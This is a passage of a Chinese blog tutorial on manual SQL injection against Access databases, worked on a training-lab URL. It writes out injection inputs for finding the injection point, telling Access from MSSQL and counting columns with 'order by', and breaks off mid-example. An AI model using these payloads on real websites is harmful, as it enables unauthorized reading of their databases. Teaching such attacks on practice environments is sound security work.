access注入详解

本文详细介绍了Access数据库的手工SQL注入过程,包括判断注入点、数据库类型和可行的注入类型。通过联合注入、布尔盲注和偏移注入等方法,解释了在Access数据库中如何进行漏洞探测和利用。特别地,文章讨论了Access数据库在偏移注入中的特点,并引入了‘移位溢注’这一新技术,降低了依赖人品值的偏移注入的复杂性。
摘要由CSDN通过智能技术生成

Access数据库

是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具

手工注入

判断注入点

1.这里采用墨者学院提供的SQL手工注入漏洞测试环境

http://219.153.49.228:40000/new_list.asp?id=1

2.判断注入点标准三连 ’ ~ and 1 ~ and 0

http://219.153.49.228:47744/new_list.asp?id=1'		#页面报错
http://219.153.49.228:47744/new_list.asp?id=1 and 1    #页面正常
http://219.153.49.228:47744/new_list.asp?id=1 and 0   #页面报错

对比后 我们发现 and 1 后 页面正常 and 0后页面错误,说明此时已经闭合成功了 ,可以拼接自己要的语句了。

判断数据库类型


#若带入 and (select count(*) from msysobjects)>0 
#由于msysobjects表在access数据库中无权访问所以返回错误--为access数据库

因为access数据库有时候添加上面的语句就报错,所以我们不知道是不是acess数据库,这里我们根据脚本语言判断 如果语言为asp,基本就是access数据库,aspx可能是mssql很少是access。所以我们要判断是不是access数据库。只需要看是不是asp 语言,如果是aspx就判断他是不是MSSQL数据库即可。


#若带入and (select count(*) from sysobjects)>0 
#由于sysobjects表在MSSQL数据库中可以正常访问所以当返回正常页面时表示为MSSQL数据库

http://219.153.49.228:43394/new_list.asp?id=1 and (select count(*) from sysobjects)>0    #错误表示不是mssql,而是access、数据库

判断可以进行什么类型的注入

如果有回显的情况下,我们可以尝试一下联合注入。当然也可以用盲注。

在这里插入图片描述

联合注入

1. 判断存在的字段数
order by 语句用来根据指定的列对结果集进行排序
order by 1”表示对第一栏位进行排序,

2. 作用:可以用来判断查询语句所在的表到底有多少个字段

http://219.153.49.228:43394/new_list.asp?id=1 order by 1		#按第一列进行排序正常,说明至少有一个列

http://219.153.49.228:43394/new_list.asp?id=1 order by 2		#2个

http://219.153.49.228:43394/new_list.asp?id=
  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值